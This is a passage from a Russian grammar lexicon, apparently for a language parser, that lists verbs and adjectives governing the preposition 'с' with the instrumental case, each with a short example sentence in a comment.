меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, 